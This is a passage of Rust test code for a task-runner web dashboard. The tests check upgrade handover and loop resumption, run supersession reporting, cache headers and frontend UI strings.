14007 let looping = ui.looping();
14008 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14009 .await
14010 .expect("bind loopback");
14011 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14012
14013 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14014 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14015
14016 hand_over(home.path(), &looping, served, |_| Ok(1))
14017 .await
14018 .expect("hand over");
14019
14020 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14021 assert_eq!(
14022 after.stage,
14023 crate::updater::Stage::Restarting,
14024 "hand_over owns the record through parking and up to restarting; \
14025 the successor is what finishes it"
14026 );
14027 }
14028
14029 #[tokio::test]
14032 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14033 for fail in [false, true] {
14034 let home = TempDir::new().expect("temp home");
14035 let ui = idle_ui(&home);
14036 let looping = ui.looping();
14037 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14038 .await
14039 .expect("bind loopback");
14040 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14041 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14042 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14043
14044 let calls = std::sync::atomic::AtomicUsize::new(0);
14045 let outcome = hand_over(home.path(), &looping, served, |_| {
14046 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14047 if fail {
14048 anyhow::bail!("no exec")
14049 } else {
14050 Ok(4242)
14051 }
14052 })
14053 .await;
14054 assert_eq!(outcome.is_err(), fail);
14055 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14056
14057 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14058 .expect("upgrade.log is written under the home");
14059 for step in [
14060 "entered",
14061 "finish_loop",
14062 "listener released",
14063 "starting the successor",
14064 ] {
14065 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14066 }
14067 assert!(
14068 log.contains(if fail { "did not start" } else { "pid 4242" }),
14069 "{log}"
14070 );
14071 }
14072 }
14073
14074 #[tokio::test]
14077 async fn the_handover_signal_wakes_one_waiter_once() {
14078 let signal = Notify::new();
14079 signal.notify_one();
14081 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14082 .await
14083 .expect("an early signal is still seen");
14084 assert!(
14086 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14087 .await
14088 .is_err(),
14089 "a consumed signal must not wake a second time"
14090 );
14091 let signal = std::sync::Arc::new(signal);
14093 let waiter = tokio::spawn({
14094 let signal = std::sync::Arc::clone(&signal);
14095 async move { wait_for_handover(&signal).await }
14096 });
14097 tokio::time::sleep(Duration::from_millis(20)).await;
14098 assert!(!waiter.is_finished(), "nothing was signalled yet");
14099 signal.notify_one();
14100 tokio::time::timeout(Duration::from_secs(5), waiter)
14101 .await
14102 .expect("a late signal wakes the waiter")
14103 .expect("join");
14104 }
14105
14106 #[tokio::test]
14107 async fn health_says_how_long_a_handover_has_been_stuck() {
14108 let fx = Fixture::start().await;
14109 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14110 progress.advance(crate::updater::Stage::Replaced);
14111 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14112 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14113
14114 let health = fx.get("/api/health").await.json();
14115 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14116 assert!(stuck >= 600, "{stuck}");
14117 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14118 }
14119
14120 fn idle_ui(home: &TempDir) -> Ui {
14121 let runs = home.path().join("runs");
14122 std::fs::create_dir_all(&runs).expect("runs dir");
14123 Ui::new(
14124 Queue::at(home.path().join("queue")),
14125 Questions::at(home.path().join("questions")),
14126 Talks::at(home.path().join("talks")),
14127 runs,
14128 home.path().to_path_buf(),
14129 PathBuf::from("/repo/magi"),
14130 )
14131 .with_launch(launch_idle)
14132 }
14133
14134 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14136 let looping = ui.looping();
14137 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14138 .await
14139 .expect("bind loopback");
14140 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14141 let told = std::sync::Mutex::new(None);
14142 hand_over(home.path(), &looping, served, |resume| {
14143 *told.lock().unwrap() = Some(resume);
14144 Ok(1)
14145 })
14146 .await
14147 .expect("hand over");
14148 told.into_inner().unwrap().expect("successor was started")
14149 }
14150
14151 #[tokio::test]
14152 async fn a_running_loop_is_resumed_by_the_successor() {
14153 let home = TempDir::new().expect("temp home");
14154 let ui = idle_ui(&home);
14155 ui.start_loop(None).expect("start");
14156 ui.park_for_upgrade().expect("park");
14157 for _ in 0..500 {
14159 if !ui.loop_view(None).running {
14160 break;
14161 }
14162 tokio::time::sleep(Duration::from_millis(2)).await;
14163 }
14164 assert!(handed_over(&home, ui).await, "a running loop must resume");
14165
14166 let successor = idle_ui(&home);
14167 assert!(!successor.loop_view(None).running);
14168 assert!(successor.resume_after_handover(true));
14169 assert!(successor.loop_view(None).running);
14170 successor.stop_loop(None, false).expect("stop");
14171 }
14172
14173 #[tokio::test]
14174 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14175 let home = TempDir::new().expect("temp home");
14176 let ui = idle_ui(&home);
14177 ui.start_loop(None).expect("start");
14178 ui.park_for_upgrade().expect("first park");
14179 ui.park_for_upgrade().expect("second park");
14180 assert!(handed_over(&home, ui).await);
14181 }
14182
14183 #[tokio::test]
14184 async fn a_stop_during_the_handover_wait_is_honoured() {
14185 let home = TempDir::new().expect("temp home");
14186 let ui = idle_ui(&home);
14187 ui.start_loop(None).expect("start");
14188 ui.park_for_upgrade().expect("park");
14189 ui.stop_loop(None, false).expect("stop");
14190 assert!(!handed_over(&home, ui).await);
14191 }
14192
14193 #[tokio::test]
14194 async fn an_idle_loop_stays_stopped_across_the_handover() {
14195 let home = TempDir::new().expect("temp home");
14196 let ui = idle_ui(&home);
14197 ui.park_for_upgrade().expect("park");
14198 assert!(!handed_over(&home, ui).await);
14199
14200 let successor = idle_ui(&home);
14201 assert!(!successor.resume_after_handover(false));
14202 assert!(!successor.loop_view(None).running);
14203 }
14204
14205 #[tokio::test]
14206 async fn a_loop_the_operator_stopped_is_not_resumed() {
14207 let home = TempDir::new().expect("temp home");
14208 let ui = idle_ui(&home);
14209 ui.start_loop(None).expect("start");
14210 ui.stop_loop(None, false).expect("stop");
14211 ui.park_for_upgrade().expect("park");
14212 assert!(!handed_over(&home, ui).await);
14213 }
14214
14215 #[test]
14216 fn only_an_explicit_one_requests_a_resume() {
14217 assert!(!resume_requested(None));
14218 assert!(!resume_requested(Some("0".into())));
14219 assert!(!resume_requested(Some("".into())));
14220 assert!(resume_requested(Some("1".into())));
14221 }
14222
14223 #[test]
14224 fn the_upgrade_button_arms_before_it_restarts_anything() {
14225 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14228 assert!(APP_JS.contains("Replace the binary and restart?"));
14229 assert!(APP_JS.contains("function confirmed("));
14230 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14235 assert!(
14239 APP_JS.contains("Parking, then restarting"),
14240 "the button says what it is waiting for"
14241 );
14242 assert!(APP_JS.contains("if (!out.to)"));
14245 }
14246
14247 #[test]
14248 fn stopping_the_loop_arms_but_starting_does_not() {
14249 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14252 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14253 assert!(APP_JS.contains("confirmed(button, question)"));
14254 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14257 assert!(APP_JS.contains("const label = btn.textContent;"));
14258 assert!(!APP_JS.contains("Neither direction is guarded"));
14259 }
14260
14261 #[test]
14262 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14263 assert!(
14264 APP_JS.contains("state.health.version"),
14265 "the operator wants to know what is running even with nothing newer"
14266 );
14267 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14268 }
14269
14270 #[test]
14271 fn the_upgrade_button_names_its_destination() {
14272 assert!(
14273 APP_JS.contains("`Update to ${update.to}`"),
14274 "pressing the button should not be a surprise about what it moves to"
14275 );
14276 }
14277
14278 #[test]
14279 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14280 for stage in ["downloading", "replaced", "parking", "restarting"] {
14281 assert!(
14282 APP_JS.contains(&format!("\"{stage}\"")),
14283 "the phone must be able to tell {stage} apart from the others"
14284 );
14285 }
14286 assert!(APP_JS.contains(".waiting_on"));
14287 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14292 assert!(APP_JS.contains("reconnects on its own"));
14293 }
14294
14295 #[test]
14296 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14297 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14306 ..APP_JS.find("function upgrade(").expect("upgrade")];
14307 assert!(
14308 !body.contains(
14309 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14310 ),
14311 "a failed upgrade must not take the whole strip over the way it used to"
14312 );
14313 assert!(
14314 body.contains("upgradeFailNote"),
14315 "the failure has to reach the loop's own note instead"
14316 );
14317 assert_eq!(
14321 body.matches("upgradeFailNote].filter(Boolean).join")
14322 .count(),
14323 2,
14324 "both loop-why writers (quiet and control) must fold the note in"
14325 );
14326 }
14327
14328 #[test]
14329 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14330 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14333 assert!(APP_JS.contains("function upgradeOverdue("));
14334 }
14335
14336 #[test]
14337 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14338 assert!(
14339 APP_JS.contains("Updated to ${upgradeInfo.to"),
14340 "the operator who asked for the restart wants to know it worked"
14341 );
14342 }
14343
14344 #[test]
14345 fn an_error_is_visible_from_where_the_button_is() {
14346 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14351 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14352 assert!(
14353 alert.contains("position: fixed"),
14354 "an error about the thing under your thumb has to be visible from \
14355 where your thumb is: {alert}"
14356 );
14357 assert!(
14358 alert.contains("z-index: 25"),
14359 "above the dock (20) and the run-actions FAB (15), so neither \
14360 buries it: {alert}"
14361 );
14362 assert!(
14363 alert.contains("var(--tap)"),
14364 "and clear of the dock and the home indicator: {alert}"
14365 );
14366 assert!(
14369 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14370 "the FAB's column stays free: {alert}"
14371 );
14372 }
14373
14374 #[tokio::test]
14375 async fn an_older_attempt_says_what_replaced_it() {
14376 let fx = Fixture::start().await;
14377 let q = fx.queue();
14378 let runs = fx.runs();
14379 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14380 write_run(&runs, first, RunStatus::Stalled);
14381 write_run(&runs, second, RunStatus::Blocked);
14382
14383 let mut t = Task::new(
14384 "one task".to_owned(),
14385 "do it".to_owned(),
14386 PathBuf::from("/repo"),
14387 Source::Human,
14388 );
14389 t.runs = vec![first.to_owned(), second.to_owned()];
14390 q.put(&mut t).expect("put");
14391
14392 let rows = fx.get("/api/runs").await.json();
14396 let by = |short: &str| -> Value {
14397 rows.as_array()
14398 .unwrap()
14399 .iter()
14400 .find(|r| r["short"] == short)
14401 .cloned()
14402 .unwrap_or(Value::Null)
14403 };
14404 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14405 assert!(
14406 by("bbbb")["superseded_by"].is_null(),
14407 "the latest attempt is not superseded by anything"
14408 );
14409 assert!(APP_JS.contains("run.superseded_by"));
14411 assert!(APP_JS.contains("Superseded by"));
14412 }
14413
14414 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14415 let mut t = Task::new(
14416 "one task".to_owned(),
14417 "do it".to_owned(),
14418 PathBuf::from("/repo"),
14419 Source::Human,
14420 );
14421 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14422 t.status = status;
14423 t
14424 }
14425
14426 #[test]
14427 fn source_link_picks_the_page_that_filed_the_task() {
14428 let agent = |node: &str| Source::Agent {
14429 run: "20260904-014455-ab12".to_owned(),
14430 node: node.to_owned(),
14431 };
14432 let chat = source_link(&agent("chat")).expect("chat link");
14433 assert_eq!(chat.kind, "chat");
14434 assert_eq!(chat.id, "20260904-014455-ab12");
14435 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14436 let run = source_link(&agent("implement")).expect("run link");
14437 assert_eq!(
14438 (run.kind, run.href.as_str()),
14439 ("run", "#/runs/20260904-014455-ab12")
14440 );
14441 assert_eq!(source_link(&Source::Human), None);
14442 assert_eq!(
14443 source_link(&Source::Issue {
14444 number: 3,
14445 repo: "o/r".to_owned()
14446 }),
14447 None
14448 );
14449 let odd = source_link(&Source::Agent {
14450 run: "a b/c".to_owned(),
14451 node: "chat".to_owned(),
14452 })
14453 .expect("link");
14454 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14455 }
14456
14457 #[test]
14458 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14459 assert!(
14460 !APP_JS.contains("src.node === \"chat\""),
14461 "inline href rule is back"
14462 );
14463 assert!(
14464 APP_JS.matches("sourceLinkOf(").count() >= 4,
14465 "helper must serve every page"
14466 );
14467 assert!(
14468 APP_JS.matches("openChatLink(").count() >= 3,
14469 "the run page still needs its explicit chat link"
14470 );
14471 assert!(
14472 !APP_JS.contains("const openChat = el("),
14473 "the Queue card duplicates its source label link again"
14474 );
14475 assert!(
14476 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14477 "the task page must link a chat source label too"
14478 );
14479 }
14480
14481 #[test]
14482 fn task_ref_carries_the_source_link_for_a_chat_task() {
14483 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14484 t.source = Source::Agent {
14485 run: "20260904-014455-ab12".to_owned(),
14486 node: "chat".to_owned(),
14487 };
14488 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14489 let v = serde_json::to_value(&out).expect("json");
14490 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14491 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14492 assert_eq!(v["source_label"], t.source.label());
14493
14494 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14495 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14496 .expect("json");
14497 assert!(v["source_link"].is_null(), "{v}");
14498 }
14499
14500 #[test]
14501 fn task_view_serializes_source_link() {
14502 let mut t = Task::new(
14503 "t".to_owned(),
14504 "t".to_owned(),
14505 PathBuf::from("/repo"),
14506 Source::Agent {
14507 run: "20260901-000000-aaaa".to_owned(),
14508 node: "implement".to_owned(),
14509 },
14510 );
14511 t.runs.clear();
14512 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14513 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14514 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14515 }
14516
14517 #[tokio::test]
14518 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14519 let fx = Fixture::start().await;
14520 let runs = fx.runs();
14521 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14522 write_run(&runs, old, RunStatus::Blocked);
14523 write_run(&runs, new, RunStatus::Merged);
14524 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14525 fx.queue().put(&mut t).expect("put");
14526
14527 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14528 let task = &view["task"];
14529 assert_eq!(task["status"], "done");
14530 assert_eq!(task["is_latest"], false);
14531 assert_eq!(task["latest"]["short"], "bbbb");
14532 assert_eq!(task["finished_by"]["id"], new);
14533 assert_eq!(task["finished_by"]["outcome"], "merged");
14534 assert_eq!(task["closed_by_hand"], false);
14535 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14536 assert!(APP_JS.contains("finished_by"));
14537 assert!(APP_JS.contains("superseded by run"));
14538 }
14539
14540 #[tokio::test]
14541 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14542 let fx = Fixture::start().await;
14543 let runs = fx.runs();
14544 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14545 write_run(&runs, old, RunStatus::Stalled);
14546 write_run(&runs, new, RunStatus::Blocked);
14547 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14548 fx.queue().put(&mut t).expect("put");
14549
14550 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14551 assert_eq!(task["status"], "held");
14552 assert_eq!(task["is_latest"], true);
14553 assert!(task["latest"].is_null());
14554 assert!(task["finished_by"].is_null());
14555 assert_eq!(task["closed_by_hand"], false);
14556 }
14557
14558 #[tokio::test]
14559 async fn a_direct_run_has_no_task_outcome() {
14560 let fx = Fixture::start().await;
14561 let runs = fx.runs();
14562 let id = "20260901-000000-aaaa";
14563 write_run(&runs, id, RunStatus::Blocked);
14564 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14565 assert!(view["task"].is_null());
14566 }
14567
14568 #[test]
14569 fn task_outcome_does_not_guess_a_finishing_run() {
14570 let a = "20260901-000000-aaaa";
14571 let b = "20260901-000000-bbbb";
14572 let c = "20260901-000000-cccc";
14573 let dir = tempfile::tempdir().expect("tempdir");
14574 write_run(dir.path(), a, RunStatus::Blocked);
14575 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14576 let read = |id: &str| read_run(dir.path(), id).ok();
14578 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14581 let out = task_outcome(&t, a, 3, read);
14582 assert!(out.finished_by.is_none());
14583 assert!(out.closed_by_hand);
14584 let latest = out.latest.expect("latest");
14585 assert_eq!(latest.id, c);
14586 assert_eq!(latest.status, None);
14587 assert_eq!(latest.outcome, "record unreadable");
14588
14589 write_run(dir.path(), c, RunStatus::Ready);
14591 let t = outcome_task(&[a, c], TaskStatus::Done);
14592 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14593 assert_eq!(out.finished_by.expect("finisher").id, c);
14594 assert!(!out.closed_by_hand);
14595
14596 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14598 assert!(task_outcome(&t, a, 3, read).is_latest);
14599 }
14600
14601 #[tokio::test]
14602 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14603 let fx = Fixture::start().await;
14608 let q = fx.queue();
14609 let runs = fx.runs();
14610 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14611 write_run(&runs, first, RunStatus::Blocked);
14612 write_run(&runs, second, RunStatus::Merged);
14613
14614 let mut t = Task::new(
14615 "one task".to_owned(),
14616 "do it".to_owned(),
14617 PathBuf::from("/repo"),
14618 Source::Human,
14619 );
14620 t.runs = vec![first.to_owned(), second.to_owned()];
14621 q.put(&mut t).expect("put");
14622
14623 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14624 assert_eq!(earlier["superseded_by"], "dddd");
14625 assert_eq!(earlier["latest_attempt"]["id"], second);
14626 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14627 assert_eq!(
14628 earlier["latest_attempt"]["resolved"], true,
14629 "the run that replaced it landed, so this one reads as settled"
14630 );
14631
14632 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14633 assert!(
14634 later["superseded_by"].is_null(),
14635 "the latest attempt is not superseded by anything"
14636 );
14637 assert!(
14638 later["latest_attempt"].is_null(),
14639 "the latest attempt has no later attempt of its own"
14640 );
14641
14642 assert!(APP_JS.contains("run.latest_attempt"));
14649 assert!(APP_JS.contains("data-superseded"));
14650 assert!(APP_JS.contains("#/runs/${latest.id}"));
14651 }
14652
14653 #[tokio::test]
14654 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14655 let fx = Fixture::start().await;
14661 let q = fx.queue();
14662 let runs = fx.runs();
14663 let (a, b, c) = (
14664 "20260901-000000-aaaa",
14665 "20260901-000000-bbbb",
14666 "20260901-000000-cccc",
14667 );
14668 write_run(&runs, a, RunStatus::Blocked);
14669 write_run(&runs, b, RunStatus::Blocked);
14670 write_run(&runs, c, RunStatus::Merged);
14671
14672 let mut t = Task::new(
14673 "retried twice".to_owned(),
14674 "do it".to_owned(),
14675 PathBuf::from("/repo"),
14676 Source::Human,
14677 );
14678 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14679 q.put(&mut t).expect("put");
14680
14681 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14682 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14683 assert_eq!(
14684 view["latest_attempt"]["id"], c,
14685 "the chain's current head, not the intermediate Blocked retry"
14686 );
14687 assert_eq!(view["latest_attempt"]["resolved"], true);
14688
14689 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14690 assert_eq!(mid["latest_attempt"]["id"], c);
14691 assert_eq!(mid["latest_attempt"]["resolved"], true);
14692 }
14693
14694 #[tokio::test]
14695 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14696 let fx = Fixture::start().await;
14697 let q = fx.queue();
14698 let runs = fx.runs();
14699
14700 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14703 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14704 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14705 let mut t1 = Task::new(
14706 "still stuck".to_owned(),
14707 "do it".to_owned(),
14708 PathBuf::from("/repo"),
14709 Source::Human,
14710 );
14711 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14712 q.put(&mut t1).expect("put");
14713 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14714 assert_eq!(view1["latest_attempt"]["resolved"], false);
14715 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14716 assert_eq!(view1["latest_attempt"]["done"], true);
14717
14718 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14720 write_run(&runs, run_a, RunStatus::Blocked);
14721 write_run(&runs, run_b, RunStatus::Implementing);
14722 let mut t3 = Task::new(
14723 "retrying".to_owned(),
14724 "do it".to_owned(),
14725 PathBuf::from("/repo"),
14726 Source::Human,
14727 );
14728 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14729 q.put(&mut t3).expect("put");
14730 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14731 assert_eq!(view3["latest_attempt"]["id"], run_b);
14732 assert_eq!(view3["latest_attempt"]["resolved"], false);
14733 assert_eq!(view3["latest_attempt"]["done"], false);
14734
14735 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14740 write_run(&runs, noop_a, RunStatus::Blocked);
14741 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14742 let mut t2 = Task::new(
14743 "claims done".to_owned(),
14744 "do it".to_owned(),
14745 PathBuf::from("/repo"),
14746 Source::Human,
14747 );
14748 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14749 q.put(&mut t2).expect("put");
14750 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14751 assert_eq!(
14752 view2["latest_attempt"]["resolved"], false,
14753 "an unverified no-op claim must not read as a confirmed finish"
14754 );
14755
14756 assert!(APP_JS.contains("latest.resolved"));
14759 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14762 assert!(APP_JS.contains("Latest attempt: "));
14763 assert!(APP_JS.contains("in flight"));
14764 assert!(APP_JS.contains("not resolved"));
14765 }
14766
14767 #[tokio::test]
14768 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14769 let fx = Fixture::start().await;
14770 let js = fx.get("/app.js").await;
14776 assert_eq!(js.status, 200);
14777 let tag = js
14778 .header("etag")
14779 .expect("an etag to revalidate against")
14780 .to_owned();
14781 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14782 assert_eq!(
14783 js.header("cache-control"),
14784 Some("no-cache, must-revalidate"),
14785 "the phone has to ask every time"
14786 );
14787
14788 let again = fx
14791 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14792 .await;
14793 assert_eq!(
14794 again.status, 304,
14795 "a deck it already has costs one round trip"
14796 );
14797 assert!(again.body.is_empty(), "304 carries no body");
14798
14799 let weak = fx
14802 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14803 .await;
14804 assert_eq!(weak.status, 304);
14805 let stale = fx
14806 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14807 .await;
14808 assert_eq!(stale.status, 200, "an older build must be replaced");
14809 assert!(stale.body.contains("renderRunActions"));
14810 }
14811
14812 #[test]
14813 fn the_task_detail_has_an_actions_fab_and_sheet() {
14814 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14815 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14816 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14817 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14819 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14820 assert!(APP_JS.contains("renderTaskActions(task);"));
14822 assert!(APP_JS.contains("renderTaskActions(null);"));
14823 let sheet = APP_JS
14825 .find("function renderTaskActions")
14826 .expect("sheet renderer");
14827 let body = &APP_JS[sheet..sheet + 3000];
14828 assert!(body.contains("changePriority("));
14829 assert!(body.contains("openTaskEdit(task)"));
14830 assert!(body.contains("renderTaskHoldBox(host"));
14831 assert!(body.contains("renderTaskDoneBox(host"));
14832 assert!(body.contains("renderTaskDeleteBox(host"));
14833 assert!(APP_JS.contains("API.priority(id)"));
14834 assert!(APP_JS.contains("API.deleteTask(id)"));
14835 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14837 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14839 }
14840
14841 #[test]
14842 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14843 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14844 let actions = INDEX_HTML
14845 .find("id=\"run-actions-box\"")
14846 .expect("actions box");
14847 assert!(task < actions, "the task entry comes first in the sheet");
14848 assert!(APP_JS.contains("renderRunTaskEntry"));
14849 assert!(APP_JS.contains("\"Open task \""));
14850 assert!(APP_JS.contains("started directly, no task"));
14852 assert!(APP_JS.contains("sheet-task-link"));
14853 assert!(APP_JS.contains("task-chip-link"));
14854 }
14855
14856 #[test]
14857 fn the_deck_never_sends_the_operator_to_a_terminal() {
14858 assert!(
14861 !APP_JS.contains("Run `magi fold` first"),
14862 "the deck must offer the fold, not prescribe a shell command"
14863 );
14864 assert!(APP_JS.contains("foldRun:"));
14865 assert!(APP_JS.contains("resumeRun:"));
14866 assert!(APP_JS.contains("renderRunActions"));
14867
14868 assert!(APP_JS.contains("armedFold"));
14870 assert!(APP_JS.contains("Yes, fold worktrees"));
14871
14872 assert!(APP_JS.contains("can no longer be resumed"));
14875 }
14876
14877 #[test]
14878 fn a_finished_run_explains_itself_with_its_own_last_line() {
14879 assert!(
14885 !APP_JS.contains("collapsed on agent quota"),
14886 "a stall must not be explained by a cause the deck did not check"
14887 );
14888 assert!(
14889 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14890 "and a block must not offer a guess with an `or` in it"
14891 );
14892
14893 assert!(
14897 APP_JS.contains("setText(r.event, run.event || \"\")"),
14898 "the run's last line is rendered unconditionally"
14899 );
14900 assert!(
14901 !APP_JS.contains("moving && run.event"),
14902 "and never gated on the run still moving"
14903 );
14904
14905 assert!(APP_JS.contains("lost to quota"));
14907 }
14908
14909 #[test]
14931 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14932 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14933 let shapes_body_start =
14934 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14935 let shapes_close = APP_JS[shapes_body_start..]
14936 .find("].map(")
14937 .expect("the shape list is closed by its done-computing .map(...)")
14938 + shapes_body_start;
14939 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14940
14941 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14942 for entry in shapes_src.split('{').skip(1) {
14943 let waiting = entry.contains("waiting: true");
14944 let dead = entry.contains("live: \"dead\"");
14945 let status_at =
14946 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14947 let status_end = entry[status_at..]
14948 .find('"')
14949 .expect("the status string is closed")
14950 + status_at;
14951 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14952 }
14953 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14954
14955 let done_rule_marker = "done: !";
14959 let done_rule_at = APP_JS[shapes_close..]
14960 .find(done_rule_marker)
14961 .expect("the done rule follows the shape list")
14962 + shapes_close
14963 + done_rule_marker.len();
14964 let includes_at = APP_JS[done_rule_at..]
14965 .find(".includes(shape.status)")
14966 .expect("the done rule ends in .includes(shape.status)")
14967 + done_rule_at;
14968 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14969 .trim()
14970 .trim_start_matches('[')
14971 .trim_end_matches(']')
14972 .split(',')
14973 .map(|s| s.trim().trim_matches('"'))
14974 .filter(|s| !s.is_empty())
14975 .collect();
14976
14977 let shapes: Vec<(bool, String, bool, bool)> = shapes
14978 .into_iter()
14979 .map(|(waiting, status, dead)| {
14980 let done = !not_done.contains(&status.as_str());
14981 (waiting, status, dead, done)
14982 })
14983 .collect();
14984
